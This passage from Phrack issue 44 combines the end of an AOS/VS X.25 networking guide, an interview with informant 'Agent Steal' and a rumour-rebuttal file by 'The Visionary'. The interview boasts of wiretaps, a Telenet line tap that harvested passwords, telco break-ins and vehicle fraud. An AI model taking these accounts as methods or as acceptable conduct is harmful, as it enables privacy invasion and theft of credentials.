VTA: the SVTA process provides virtual terminals for remote UVTA users, as well as PAD support through PDNs; it controls the system's link to any PDN. Connections can be made from public PADs (like Telenet), and through UVTA or any other PAD interface. SVTA logs command responses and errors by reporting them to the NETOP process, or a facility set by CONTROL @SVTA SET/OUTPUT= and /LOG=. If an error occurs during this logging, OUTPUT is reset to the NETOP process (if something is faulty with the NETOP process, the message is lost).

SVTA is controlled through the NETOP process, so SVTA commands are the format of "CONTROL @SVTA <command name>". SVTA commands:

SET	Sets miscellaneous SVTA parameters, such as whether to include the current time or date at SVTA prompts (/TIME or /NOTIME, /DATE or /NODATE); where and if to send the SVTA process' output (/OUTPUT=[pid #] or [@console] or [process name], or /NOOUTPUT); and where to write SVTA logs (/LOG=file). Logs files are of format SVTA_month_day_year.LOG and is stored in :NET:LOGFILES (unless changed).
OWNER	Assigns a process name to the SVTA process. If no name is given, SVTA returns its current process name.
REVERSE	ON or OFF. Tells SVTA whether or not to accept reverse charged (collect) calls over the PDN.
STATUS	If no argument is given, SVTA issues a global status report. If an argument is given, it can either be @VCONnn -- an SVTA controlled virtual console, or a PID (a report will be generated for all VCONs owned by that PID).

The user side, UVTA, is loaded by XEQ UVTA. The user is faced with a prompt, from which he can start connections and issue other UVTA commands. UVTA commands:

CALL <host>	First and formost, call a remote host. A remote host is a host that has its name in the :NET directory (file type HST). If UVTA can't locate the host in the :NET

directory, it reports that the file does not exist. CALL accepts two arguments, the remote host and the remote process. Remote process in in the format of [user]:process. [user] defaults to OP; when this parameter is given, UVTA attempts to connect to a VCON controlled by that process/user combination. The remote process defaults to EXEC (OP:EXEC), which means the user connects to a console controlled by the EXEC program (and faces the usual login procedure). CALL can be replaced by loading UVTA with CALL's parameters.

Trying to use UVTA as a sort of RLOGIN by connecting to CLIs will probably not work, since unless the remote CLI has opened a VCON, you will get flooded with "Remote user refused connection" error messages, until you abort UVTA or that CLI does open a console -- all of this, of course, assuming that user is there in the first place and you won't get a "Process unknown" error message.

Once connected, ^C^V will abort the call and the UVTA process. ^C^T will break from remote mode to the local UVTA prompt.

RCONTROL	The control character (not including Ctrl-C) to break from remote mode to the local prompt. 'A', 'B', 'E', 'Q', 'S' and 'V' are taken by the system and cannot be used.
EXECUTE <prog>	Execute the parameter issued as a son process of your UVTA (this will fail if you don't have the privilege to create son processes without blocking the father).

The File Transfer Agent, FTA, is something like the FTP port to X.25. A user using UFTA can connect to a host running SFTA, supply a valid username/password pair, and transfer files from or to the remote host.

A short summary of UFTA commands, in the order they are usually executed:

CALL <host>	Connect to the remote host, given as an argument. Once connected, a ^C^A sequence will abort a transfer in the middle.
USER <account>	Supply a username to the remote host, or if no argument is given, assume the local username to be identical to the remote one. In any case, a password must be supplied.
SUPERUSER	If the user given through USER has Superuser privileges, will turn them for the file transfers (you can now take or put files that you couldn't before, because of the ACLs).
FILES <path>	FILES takes one argument, being the directory which contents will be listed. FILES takes most arguments the CLI FILES takes (/ASSORTMENT, /TYPE, etc).
TYPE <file>	Display a remote file.
STORE <l> <r>	Transfers the local file, 'l', to the remote destination file, 'r'. STORE will fail if the user is not privileged for the action, or if he is trying to transfer an irregular file, such as a network host file. Switches are: /APPEND, to append the file to the destination; /COMPRESS, to compress data for the transfer, and /DELETE, to delete the destination file if it already exists. File transfer modes are controlled through the /BLOCK and /RECORD switches. /BLOCK, the defaults, means block-by-block transfers, and /RECORD means to transfer each record in the file at a time.

RETRIEVE <l> <r>	Transfers a remote file, 'r', to the local destination, 'l'. The same restrictions and switches for STORE apply here.
RECOVER <id>	RECOVER is the command used for recovering aborted transfers. Both STORE and RETRIEVE have another switch called /RECOVER. When used in conjunction with that switch, the transfer request's working set is kept. Thus, if a transfer was stopped by ^C^A, it can be resumed by RECOVER. Without the "id" argument, RECOVER lists all the transfer IDs (which are actually interrupted transfers) it can recover.
SEND <msg>	Will send "msg" to the operator on the remote host. The message is sent to the SFTA on the remote host, and forwarded to the operator from there.

The X25 process controls X.25 connection over the AOS/VS network. It controls accounting, virtual connection handling, links, and so on. X25 commands, operated through the NETOP process (CONTROL @X25):

ACCOUNT NOACCOUNT	Enable or disabling the accounting function of X25.
STATUS <vc#>	Displays the status of a virtual connection. It displays the remote address, number of packets passed, connection state and the user of the connection. Note that virtual connection numbers are reported by X25 as octal numbers and are therefore read as such.
CLEAR <vc#>	Clears a virtual connection, after informing its local owner of the clear.
CUSTOMERS	Displays a list of X25 customers, meaning processes which have connected to and have not yet disconnected from X25, and are therefore known by it.
LSTATUS	Displays a status report about a logical link (host). The report gives details about the device status and number of bytes tranfered.
TRACE <file> NOTRACE	Starts a trace of an X.25 connection to the file specified as the argument. X25 defaults to trace everything -- anything coming out of or going into the system, however this can be overridden by using /LINK=link to trace connections to a specific link, /VC=oct# to trace a specific virtual connection, or PID=pid# to trace virtual connections owned by the process given. NOTRACE stops the trace. X25 trace files must be displayed through another network utility (not an X25 subcommand), called NTRACE. NTRACE takes as an argument the file in which X25 stores trace info, and displays it in human readable format according to its switches, which are: /DIRECTION=[BOTH|INCOMING|OUTGOING], for packet directions (defaults to BOTH); /LIST=file, for the file to which output goes (defaults to the terminal); RLENGTH=[ALL|#], for the number of bytes from the packets to be displayed (defaults to ALL). The last switch is the packet types to be displayed (default to every packet), and is:

Type	Incoming calls	Outgoing calls
/CALL	Incoming call	Call request
/CONNECT	Call connected	Call connected
/CI	Clear Indication	Clear request
/CCFM	Clear ConFirMation	Clear confirmation

/DATA	Data	Data
/INTERRUPT	Interrupt	Interrupt
/INTCFM	Interrupt confirmation	Interrupt confirmation
/RCVR	RR - receive ready	RR
/RNR	RNR - receive not read	RNR
/REJ	--	REJ - reject
/RSTIND	Reset INDication	Reset request
/RSTCFM	Reset confirmation	Reset confirmation
/RRTIND	Restart indication	Restart request
/RRTCFM	Restart confirmation	Restart confirmation

The 2nd and 3rd columns in the chart specify what the packet means if the local host is being connected to (incoming call) or is trying to reach another host (outgoing).

RESOURCES <pid> Displays any connections owned by <pid>. <pid> can be a process ID, or of the format username:processname.

One of the more interesting programs in XODIAC networking is NETGEN. NETGEN (in :NET:NETGEN) is a program used to configure the network: host addresses, routes, services, and so on. When NETGEN is loaded, it enters interactive mode and enables the user to configure and change network settings from menus. Later, it can be called using its one and only switch, /RECREATE=<path>, to re-create the network files in :NET according to the specification file given in <path>.

NETGEN's main menu, gives three options (other than terminating). Creating or modifying a specification file, and creating configuration files. The specification file contains in it,

- details pertaining to the local host's configuration on the network: the host ID, host name, domain, etc;

- hardware device configuration: device name, type, code, and miscellaneous details varying from device type to another;

- link configuration: link name, device name/type it uses, and (changing on the type of device), network type, line number, protocols, X.25 packet configuration (size/window size/retries), duplex, and more;

- general network attributes: extended addressing, diagnostics, calling DTE in outgoing calls, etc;

- X.25 configuration: packet/window size negotiation, reverse charging, NUIs, etc;

- virtual calls configuration: permanent virtual calls, VC numbering, etc;

- remote host configuration: X.25 parameters, link to be used, address (decimal/hex), name, host file name, etc;

- network processes configuration: name, ACL, and other details (varies).

Upon loading NETGEN, there are about three menus branching off from every option, so I cannot really mention everything. However, since it's mostly self explanatory, I am putting in here the output from NETGEN's Print Specifications entry, edited to show X.25 links through Telenet and the local configuration, plus TELNETD. By looking at it, one might learn how NETGEN looks/operates, and what details are available.

This file was created using (from the main menu): 2. Access/Update Spec File => 7. Print Configurations => file (instead of @LPT).

```
                       ((Actual details changed.))

                    NETWORK SPECIFICATION PRINT FILE


    Specfile: :NET:NETGEN:SPEXBAKZ

    Date: 32-Nov-93

    Time:  4:66:22 PM


                          LOCAL HOST CONFIGURATION


Local Host Name : PATBBS

ACL : + ORAEW

Host ID : 7

Do you wish to specify an NSAP for this host?: Y

NSAP Address:

    Authority and Format Identifier (AFI) (0-99): 50

    Initial Domain Identifier (Local Form): null

    Domain Specific Part (max 19 ascii characters): patbbs


                              DEVICE CONFIGURATION


Device Name: ISC_DCF

Device Type  (DCU,MCA,NBS,ISC,PMGR_ASYNC,ILC,
              ICB,IBC,LLC,SNA,LSC,IDC,LDC,MRC,IRC,LRC,XLC,XSC): ISC

Device code (in octal): 37

Run SDLC or HDLC on this controller: HDLC


                               LINK CONFIGURATION


Link Name: SPRINTNET                    Device Name: ISC_DCF

                                        Device Type: ISC

Network Type : TELENET                  Line # (0-7) : 0

Protocol Type(LAP,LAPB,SDLC) : LAPB

Local Host Address (2-15 decimal digits) : 31109090063100

Sequence Numbering Modulus (8,128) : 8

Connect retry count (0-99)   :   20     Transmit retry count (0-99)  :    10

Transmit timeout (-1,0-3600) :    3     Enable timeout (-1,0-3600)   :    30

Frame Window Size (1-7)      :    7     Packet Window Size (1-7)     :     2

                            Max Packet Size (32,64,128,256,512,1024) :   128

Framing Type (HDLC,BSC)      : HDLC     HDLC Encoding (NRZ,NRZI)     :   NRZ
```

```
Clocking (EXTERNAL,INTERNAL) : EXTERNAL

FULL or HALF duplex line     : FULL


-------------------------  Virtual Call Numbering  -------------------------


# PVC'S :   0                          # SVC'S :  63   Start SVC # :    1


------------------------------------------------------------------------------


  Network Attributes
  ------------------

          Calling DTE in Outgoing Calls (Y/N): Y
          Personal Cause Code (Y/N)          : N
          Long Interrupt Packets (Y/N)       : N
          Timeout Resets (Y/N)               : Y
          Timeout Clears (Y/N)               : Y
          Mandatory Diagnostics (Y/N)        : N
          Extended Addressing (Y/N)          : Y
          Extended Clear Packets (Y/N)       : Y

  X25 Facilities Enabling
  -----------------------

          Allow packet size negotiation (Y/N)  : Y
          Allow window size negotiation (Y/N)  : Y
          Allow fast select (Y/N)              : Y
              1. local connections (Y/N)       : N
              2. routed connections (Y/N)      : N
          Allow reverse charging outgoing (Y/N): Y
          Allow closed user groups (Y/N)       : Y
          Allow network user ID (Y/N)          : Y
          Allow throughput class (Y/N)         : Y
          Allow transit delay (Y/N)            : Y
          Allow transit delay indication (Y/N) : Y
          Allow charging information (Y/N)     : Y
          Allow RPOA selection (Y/N)           : Y
          Allow user defined facilities (Y/N)  : Y
          Allow unknown facilities (Y/N)       : Y
          Allow extended facilities (Y/N)      : Y
          Allow facilities to be routed (Y/N)  : Y

 X25 Facilities           Generated?
------------------------- ---------

 1. Packet Size Facility      N    Minimum:  32            Maximum:     128
 2. Window Size Facility      N    Minimum:  1             Maximum:     2
 3. Fast Select Facilities    N    Type:
 4. Reverse Charging          N
 5. Closed User Groups        N    Type:     None          ID:          --
 6. Network User ID           N    ID:
 7. Throughput Class          N    Called:                 Calling DTE:
 8. Transit Delay             N    Delay:    0
 9. Charging Information      N    Request?  N
10. RPOA Selection            N    # IDs:    0
11. User Defined Facilities   N
12. Other Facilities          N


                            REMOTE HOST CONFIGURATION
-----------------------------------------------------------------------------


BOOMBOOM
```

```
                            X.25 Host Parameters


    Remote Host Filename : BOOMBOOM

    Remote Host Name     : BOOMBOOM

    Remote Host ID       : None

    Hostfile AOS/VS ACL  : + RE

    Accepts address extension facilities?: N


  Link Name        Device Type   Network Type    Remote Address

1 SPRINTNET        ISC           TELENET        host address in decimal :

                                                  31109200010200


-----------------------------------------------------------------------------
                                NPN CONFIGURATION
-----------------------------------------------------------------------------

TELNETD

    NPN-type entry name:  TELNETD
    NPN:                  0023
    NPN AOS/VS ACL:       + RE
-----------------------------------------------------------------------------


ACRONYMS
~~~~~~~~

ADM       Automatic Density Matching
CLASP     CLass Assignment And Scheduling Package
CLI       Command Line Interpreter
CPL       Characters per Line
IPC       Inter-Process Communications
LPP       Lines per Page
PID       Process ID; PID 2 is the "master CLI"
SMI       System Manager Interface
```

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 16 of 27

****

An Interview With Agent Steal

By Mike Bowen, Agenta Aka Agent 005

Please note that all of the information in this interview is documented in F.B.I. files and can be verified.

MB: Well I guess the first question is the biggest one. Is it true that you are an F.B.I. informant?

AS: Yes.

MB: Why?

AS: First of all I didn't have that much of a choice. If I didn't cooperate with The Bureau, I could have been charged with possession of classified government material. That carries a penalty of over 10 years. There is not a lot of people that I would go to jail that long for. I was able to keep my two closest friends out of trouble. That was part of my deal. It was already too late for Kevin Poulson and Ronald Austin.

MB: Yeah, I think that most hackers would have done the same as you.

AS: Most hackers would have sold out their mother.

laughter

MB: How come you never busted me?

AS: Well I certainly had the opportunity to. You probably remember that I was calling you about a year ago and poking you for information. I just didn't consider you to be a dangerous or malicious hacker.

MB: Thanks, I guess.

AS: Just make your check out to....

laughter

MB: As everyone should know, Kevin Poulson "Dark Dante" was your partner. That was what you referred to in your BBS posts as The Inner Circle 1990. Poulson was featured on TV's' Unsolved mysteries as a wanted fugitive hacker. The United States Attorney called him, "The Hannibal Lecter of computer crime".

AS: I would not compare him to Lecter, I would say he is more of a G. Gordon Liddy.

laughter

MB: Regardless, Kevin is now in jail awaiting trial in San Francisco. He has been there for two years and when he is done, there are more charges awaiting him in Los Angeles. He may spend up to 15 years in prison. How much time do you think that you will do?

AS: The six months I did in Texas while I was negotiating my plea agreement will probably be it.

MB: How many people did you have to bust to get out of that one?

AS: I'm not at liberty to say

MB: I see. So are you still involved with the F.B.I.?

AS: I believe that my cover is pretty much blown at this time so my usefulness is limited. I would say that I’m done. However, I have received several other offers to work with other computer security related organizations. So watch your asses kiddies, it’s easy to change my handle!

MB: Why do you think you are getting these offers? You are a convicted felon.

AS: I guess I have an honest face, heh, and the work I did for the bureau was very good. I think I was cut out to be in the investigative business.

MB: Well, you have been working for private investigators for quite some time.

AS: Yes, I handled all of their computer information searches in addition to phone tapping, break ins, phone tap and bug detection.

MB: Was that profitable?

AS: Well, in addition to all of those radio station contests we were winning, I was doing OK. Driving a Porsche and living in Beverly Hills wasn’t to bad.

MB: I guess all good things come to an end.

AS: I will always manage some how, I’m a survivor.

MB: There was another partner involved with you. Wasn’t his name Ron Austin?

AS: Yes, he got busted too.

MB: How much trouble is he in?

AS: He is going to testify against Poulson also, so he’ll probably only get a year or two.

MB: Are you two still friends?

AS: Very much so. He understood the situation I was in. I still talk to him frequently.

MB: What is he up to these days?

AS: He told me he was going to find a cause and become the first computer hacker turned international terrorist.

laughter

MB: I wouldn’t want to be his enemy! Speaking of enemies, what do you think Poulson will do to all the people who testified against him when he gets out?

AS: Well he is going to be busy. Everyone who he has ever known has turned against him.

MB: Well if he wasn’t such a sneaky jerk maybe someone would like him.

AS: He brought it on himself.

MB: Do you expect any retaliation from the hacker community?

AS: There will probably be a few narrow minds out there. However, I have been very careful to conceal my true identity. People may know my real name if they read the papers, but that won’t get them far. I find people for a living, I don’t think it will be hard to use what I know to keep a low profile. Besides, what is a hacker going to do, turn off my phone? Regardless, If some one fucks with me, I’ll just have to fuck back. I have a lot of friends and resources now.

MB: What was it like working with the F.B.I.?

AS: Very interesting and educational. I have learned a lot about how the bureau works. Probably too much. Obviously I can’t say very much. However, I can say that my involvement was extensive. There was a lot of money and resources used. In addition, they paid me well.

MB: Would you say it was fun?

AS: Most of the time. They actually flew me to Summer Con in St. Louis. I would say the bureau had that conference pretty well covered. Erik Bloodaxe was there too. It was pretty funny. I think we both knew that each other was working for the bureau. One of the agents I worked with let it slip out. We were sitting across from each other at the conference, kind of smirking at each other. And the balls Erik had! He video taped the whole thing! It was classic.

MB: What was the F.B.I. trying to accomplish?

AS: I believe they were trying to send a message that high level computer hacking is something that is very serious. In Poulson’s’ case as you are aware, we got into some really heavy shit. So heavy in fact that I had to sign an agreement that I would never disclose any of the top secret information that I had seen.

MB: That’s pretty wild. The article about Poulson, Austin and you in The Los Angeles Times Sunday Magazine was really interesting. For those who want to read it the date was September 12, 1993.

AS: I was amazed how deep that reporter was able to go. He really hit the nail on the head. Personally I think he wrote too much. He wrote that we were able to get a list of every federal wire tap in California!

MB: Really?

laughter

AS: Like I said, I can neither confirm or deny that statement. There is still a lot of information regarding our activities that has not been published. Between the three of us, we were into a bunch of shit. One of these days, it will all be out.

MB: The reporter also said you would take control of phone lines with a telephone company computer. Then you would seize radio station lines and win contests.

AS: Now that we can talk about. We won tens of thousands of dollars, trips to Hawaii and a few Porsches. The government took both of my Porsches away from me.

MB: I didn’t realize that you had two.

AS: Yeah, a friend of mine was selling his. So I had him report it stolen and collect the insurance. I gave him a $1000 and it was mine. I loved that car.

MB: I see that was the interstate transportation of a stolen automobile charge that was filed in Texas?

AS: Yeah , I changed the VIN numbers and everything. It was really clean. However, when I got raided they went over everything with a fine tooth comb. There were so many agencies involved. The F.B.I., The Secret Service , SW Bell Security, Pacific Bell Security, Dallas Sheriff, L.A.P.D. Computer Crime Unit, The United States Postal Inspector, Telenet and Tymnet Security and eventually The Department of Motor Vehicles Security Unit. What a mess, everyone wanted a piece of the action. But you know who always gets their man.

MB: The Bureau.

AS: Yep, pissed a few people off too.

MB: Where did you get the name Agent Steal?

AS: About ten years ago, I was under investigation by The Secret Service for computer hacking. The case agent was Special Agent Steele. That is when I became a fugitive. I left town, dropped contact with my friends, and changed my name. I moved to California.

MB: What are some of your favorite hacks?

AS: Probably the Telenet tap I put up.

MB: You mean the private dial up tap that you had told me about?

AS: Yeah, I placed the order in COSMOS for a bridge lifter on the first line in hunt of my local Telenet dial up and a 1FR to appear in an office building a half mile from the LA Telenet dial up.

MB: That was great. That device you built was cool. All you had to do was dial up the number, connect with your modem and you could sit there and watch people type in their passwords all day long.

AS: I must have snagged over 500 accounts on that thing.

MB: That’s where you got your DMV account wasn’t it?

AS: Yes. I made a small fortune reselling the information to P.I.s’

MB: What was it you told me about tapping Heidi Fliess?

AS: Yeah. I tapped the phone of one of her working girls. It was for this rich guy who would hire hookers and then get involved with them. He loved hookers. He used to keep tabs on this one.

MB: What were the conversations like.

AS: I rarely would listen to the tapes I made. I have a life, thank you. Besides, I have found that about 99.9% of all phone conversations are really boring.

MB: Have you listened to many?

AS: Thousands, from cellular to cordless to inter office T-carrier lines to long distance microwave. I guess I am a phone tap expert. Poulson and I would break into C.O.s on a regular basis. We had our own keys and I.D. badges. We came and went as we pleased. I would sometimes play around with the long distance trunks. That was always interesting. With a T-carrier test set you could scan through all of the channels and hear dozens of phone calls with the flick of a switch.

MB: What is the most powerful computer that you had access to.

AS: Good question. There really isn’t one computer system out there that is "all" powerful, with the exception of maybe some defense computers. I made a point of staying away from those. However, if I had to pick just one computer to have access to I would say it was XXXXXXX. That was the Pacific Bell system that allowed us to drop in and monitor and control phone lines from home with the use of a computer system. Second would have to be DMV or COSMOS. Yes COSMOS. I thought that being able to place my own orders was important, not to mention more reliable than the business office.

MB: Cheaper too.

laughter

AS: I wish I had all the money I have saved on phone bills!

MB: Those days are gone.

AS: At least the days of doing that safely. People tend to get pessimistic about hacking. I have heard some say that the good old days of boxing and such are gone. I disagree, we just have to adapt. As sure as technology advances so will hacking. There will always be new "hacks". It's up to the real hackers to find them. Learn from the past and move on or get busted and quit.

MB: What is up with Kevin Mitnick?

AS: I had never met him before I was busted. When I went to work for the bureau I contacted him. He was still up to his old tricks so we opened a case on him and Roscoe. It's a long story but they wound up getting busted again. Mitnick got tipped off right before they were going to pick him up. So he's on the run again. Roscoe wasn't so lucky. This will be Mitnick's fifth time to get busted. What a loser. Everyone thinks he is some great hacker. I out smarted him and busted him. Poulson blows him away as well.

MB: Do you feel bad about working undercover to arrest hackers?

AS: Not really. We all know the risks. For me it was just a job. And an interesting one at that. I wasn't out there just busting anyone. We were looking for the hard core malicious hackers. I passed up a lot of people in the course of the investigation. They should know who they are by now. The ones that got taken down deserved it. It will all be in the papers some day.

MB: Did you deserve what you got.

AS: Yeah, I was getting pretty carried away there for a while. I invaded a lot of peoples privacy. Phones taps, credit reports, breaking into Pacific Bell offices etc.

MB: Didn't you break into PacBells' security department?

AS: Yes, Poulson and I broke into the high rise downtown. We wanted to find out how far their investigation of us had gone.

MB: Did you find what you wanted?

AS: Yeah, DNR print outs, notes and photos! We also found a lot of information regarding other investigations and how they do wire taps.

MB: Very dangerous in the wrong hands.

AS: We are the wrong hands.

laughter

MB: Oh yeah. How did you get caught?

AS: Well as you know I moved to Texas after that high speed chase with the L.A.P.D. undercover units. I found out that I was under surveillance and had to make a run for it!

MB: Was that pretty close?

AS: In a Porsche on a canyon road? Not until the helicopter appeared!

MB: How did you get away?

AS: I parked the car in a garage after losing them then hid under another car for three hours. They eventually gave up looking. I called a cab with my cellular phone and left the area. Getting back to getting caught. I believe it was from an elaborate multi-company phone trace. I didn't think that they would go through all the trouble to try and trace my calls though several carriers. But I guess they did. The Pacific Bell people were very hot for me. They must have pulled everyone together.

MB: This sounds like a book or a made for TV movie.

AS: One can only hope.

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 17 of 27

****

[Editor's commentary:

What you are about to read is a file that everyone's friend Pat (Visionary / Traxxter) had written some time ago and is currently being spreading around the net. Bear in mind that this file is exactly as he wrote it. (IE: no spell-checking or other editing has been done.)

I want to add something from my own personal experience with Traxxter. At Comsec one evening, we received a phone call from Pat. Scott and I took the call and listened to Pat for nearly an hour. During this call Pat continually over-stressed the point about how much he hated being called a narc. He said "I know you guys understand about turning people in, now that you are doing Comsec." In his thinking that by our new charter as security consultants we were suddenly policemen as well, he went into a big spiel about his involvement with security officers at long distance carriers and how he regularly provided information to them.

Now, you may feel that whatever transgressed between Pat and the locals causing him and his family so many problems may or may not warrant the action that was taken by them. I personally follow a simple rule regarding such things: If you mess with me at home it's just a pissing match and I'll insult you back night and day, but if you try to come between me and my livelihood or my ability to work or put food on my table I'm gonna put you in jail. Obviously I'm not the only one who feels that way.

In all honesty, I could care less about this, but since Pat submitted this file to Phrack, I am going to give it fair treatment and publish it for him.]

Visionary The Story About Him.

This file is beeing published due to the wide spread rumors about a hacker known as The Visionary. The reason behind the distribution of the file is to clear up a lot of misconseptionspeople have about this individual. Those reading it are asked to keep an open mind. Encluded in the file will be buffers from people who know The Visionary. After reading it there is hope the rumors come to an end.

There have been a number of stories that people have brought up in relation to The Visionary. So you will hear the truth in relation to each story. Many have been spreading rumors without getting the facts first, so therefore a lot of stories going around were either overdramatised or without foundation.

The first thing that originally started the rumor was an event which happened in the mid 1980s. The Visionary had been modeming for just over a year back then. He as well as several other people had become associated with some other local hackers. The local hackers in question were, Oedipus Rex who ran a board known as The Apple Tree in 305. The other two were known as Unknown Soldier of LOD and a guy known as The Technician. There were a couple others involved with them but the identity is not known. Anyway they became angery at the other hackers I knew and started unnecessary problems. Unknown Soldier giving out the number to his other friends in order to harass a kid known as The

Insider. Every time Insider had his number changed to a nonpublished one, Unknown Soldier loged into Cosmosand using his knowledge obtained the new number At the same time Oedipus Rex along with his friends were pulling other serious things on me as well as the local people I knew. 1. He would harass me and my parentsall times of the night. On two ocations he was seen driving in my neighborhood on the same night someone shot my front windows out. It was shown the Unknown had logged on TRW and obtained the credit history belonging to my pa parents as well as otherpeople's parents. On one ocation Oedipus Rex with a few others had convinced a few of my friends to meet them at a remote location after a hacker meeting. When this happened OedipusRex sprayed the people with a substance known as mace. This amoung other things like, property damage, credit information being changed and other acts of anarchy were performed against us. I The Visionary don't know why they started on me as well when I did nothing to diserve this. Things come to ahead when The Unknown Soldier bragged to one of us that he could get confidential information on their parents. The kid he was bragging to went to his parents because there was already problems. His father got the local Bell operating company involved and things progressed from there. Inside five months Unknown Soldier was busted and charged with illegal entry into Suthern Bell's computer and CBI credit bureau. He had to pay $1,500 to both Bell and CBI indamages. It's not known how much the state fined him. It was shown that The Visionary's parents credit history was effected in a negative way by this guy. After the bust the local authorities spoke to The Visionary in regards to this guy. Now any hacker out therewith any common sense can understand why Visionary did not hold back when asked about these guys. As any hacker knows nobody should use their knowledge against someone else. Especially if they are going to use the parents as the target. Visionary was more than in his rights to do what he did. And due to the fact this story was told without the entire facts known it has been twisted into a gross rumor.

For about two years after that Visionary dropped out of the seen due to person reasons. In late 1987 he returned back in the seen as The Traxster. At there were no rumors until Lex Luthor of The Legion of Doom found out about him. Than the rumors started again. "I don't know why people brought up the event which happened years ago when it was long and forgoten," is one thing The Visionary said. From 1987 throughout 1988 a lot of people always spoke of Visionary back than known as The Traxster.

In the last four years certain things have been brought to light regarding Visionary. These events were generally recordings of Visionary either admitting to being a narc, or one was of him talking to a suposed MCI Security agent.

When you read the following accounts, remember logic will play a big part in not onlyunderstanding the truth behind them, but you will find out that Visionary's side is a lot more credible than of the rumors.

The following is Visionary's own account in relation to the MCI tape that a lot heard but don't know the facts behind. "It was during the early of sumer of 1988 when I had an interesting incounter with a hacker posing as an MCI Security agent. I didn't know it at the time but someone was oviously playing a large trick on me as it was recorded either by the hacker or a person on his threeway. Those reading this keep in mind I am going from memory and I may not be able to recall every small detail. I will say this much, I have the tape of the event that I obtained and anyone who listens to it will know that is no MCI agent I am talking to. I had one ocation where I was due to meet someone on a loop. Which loop and who I was supose to meet I don't recall. Anyways I had been on a loop waiting for another hacker. After a minute a guy comes on the loop. Upon asking his handle he said he was from MCI Security. At first I laughed and asked who he was kidding. I mean people MCI isn't going to call a loop and identify themselves as such. Well I decided after he insisted very sincerely he was MCI, I decided to play along. I made up the story that I was someone that delt with telco security and wouldn't mind talking to him. We started talking about things like ANI and different services. Keep keep in mind I know he wasn't MCI at all. The conversation lasted around thirty to fourty-five minutes. I am able to give some idea of time beings I have the tape and have listened to it.

After the event I forgot about the entire thing. It wasn't until a few months later when I heard about the recording with me talking to MCI. At first I was extremely puzzeled by this news. Than I heard samples of the recording and instantly knew what it was about.

Now when listening to the tape you will find a couple things very strange about it. When people told me about it, I was told that someone had remobed my line, someone had used LMOS and other outlandish things. When listening to the tape the first thing that is ovious is the suposed MCI guy I am talking to is much louder than me. I mean you can hear him booming compared to my side of the conversation. The second thing is you hear music in the background. The last fact mentioned is not important but could be if you listen to it.

This tape caused a lot of people to have second thoughts of associating with me. When one hears it, usually it sounds pretty real if you make a quick judgement. People such as Phiber Optic, Zod of MOD and even a local friend of mine who knew me for a long while were convinced by it. I feel that either someone had either played a bad trick on me, or it was a situation where two people happened to find me and I become an unfortunate victom. At the time the rumors had pretty much stopped and if the tape hadn't come about I suspect things would have blown over.

The second event involving me on tape, was with me and Doc Haliday. It was in the fall of 1990, during the time of the 404 bridge. The rumor about me had still been going on due to the MCI tape. One of the hackers that happened to call the bridge was Doc Haliday. Doc Haliday is a somewhat wellknown hacker who associates with people in the Texas area. He was known to frequent a HP board known as Unholy Temple, and he has also written for Phrack. One particular ocation, Visionary was on the 404 bridge he met Doc Haliday. Doc Haliday called him shortly after they met on the bridge. The first conversation was about the rumors he heard about Visionary and his thoughts on them. Haliday than related to Visionary that he didn't aprove of a lot of hacker activity now a day. He said in so many words the stuff hackers seemed to do was extremely wrong. This statement didn't hit Visionary quite right, due to the fact Doc Haliday had been into hacking a long time. Doc Haliday's next statement made Visionary feel there was more to him than met the eye. "I don't aprove of those who use access devices," stated Doc Haliday to Visionary. Now anyone reading this may know it, but the term access devices or access codes is the legal term the authorities use in court cases. When Visionary heard this, the first signs of dout about Doc Haliday began. "When he used the term access devices, an allarm bell went off in my head," was Visionary's words. The next day, again him and Doc Haliday had another conversation. This is when Visionary had his douts confirmed. Haliday started out by informing The Visionary of an investigation on the 404 bridge. He said a friend of his from The Secret Service had warned him, due to an inpending bust of a number of people. This news shocked Visionary like a slap in the face, and things started getting stranger. Doc Haliday explained there was a lot of monitoring of the bridge, as well as a pending investigation on Super Niggar. At this point Vision made a decision to play his Trump card. Slowly Visionary was able to get Haliday to admit that he did next to nothing illegal any more. When asked Haliday gave an impression he was not against informents but was open to it himself. This is when Visionary began to lead Haliday to the belief that he was an informent. Haliday bought the bate hook line and sinker. He told Visionary all about the dealings with Secret Service in the past, and how he had made six federal cases for them thus far. Visionary made up a story to the effect of him beeing involved in simular activities. The entire thing on Visionary's part was to confirm his own douts regarding Haliday. However one thing happened which screwed up Visionary.
Doc Haliday had been recording the entire conversation. After he hung up from Visionary, he proceded to play it to everybody. His reason for saying what he said was to bolshit Visionary into admitting to narcing.

All of y   The people that heard the tape were not able to hear the entire thing. Haliday only played segments and made himself the big social enginer. Some of you out there may ask, who should believe? Well look at it this way.
if you hear the tape or hear Haliday's side it sounds like he is bolshitting

Visionary. However again like the other time to many things don’t tigh together. First off Visionary, if he was an informent would not admit to anybody as such. It may seem to some that a confidents was built but Visionary would not be that stupid. Remember people he has a lot of rumors go around about him. A couple other things come into play here. Doc Haliday was a very smart and carful individual. He didn’t associate with any of the normal crouds, nor did he even associate with most better hackers. So, ask yourself, why did he go to such length to expose what he thought was a narc? Visionary didn’t even talk to anyone Haliday knew nore did Visionary pose a threat to Haliday. A major thing all of you will remember, is Doc Haliday is part of the security firm known as Comceck in Texas. This is not mean much on one hand, but Haliday is involved with computer security. Visionary was bolshitting Haliday and when looking at the situation the truth speaks for itself. Any of the higher up hackers don’t concern themselves with such matters of a narc. They don’t give two shits about lamers, yet Haliday tried to convince all of them with his tape.

Thus far you have read the main three reasons Visionary has had the constant rumor which persists about him. Now we will cover some of the little reasons that, may not deal with tape recordings, can be misunderstood as fact. One must take into consideration that Visionary had to put up with a lot of shit due to the rumors, and he had to do some interesting stuff to get by. One thing he did, was to let certain hackers think he was a narc. All of you out there will ask why would he do this? Well it’s simple. Visionary ran acrossed some people that it was to his advantage to let them believe anything. One case with the members of a group known as MOD. MOD was known by many to harass a lot of people. They had heard about Visionary, and believed that to harass someone in his line of work would be the death of them. Anotherwords, if you are a neighborhood vandle, your less likely to bother an authority figure. To them Visionary was an authority figure.

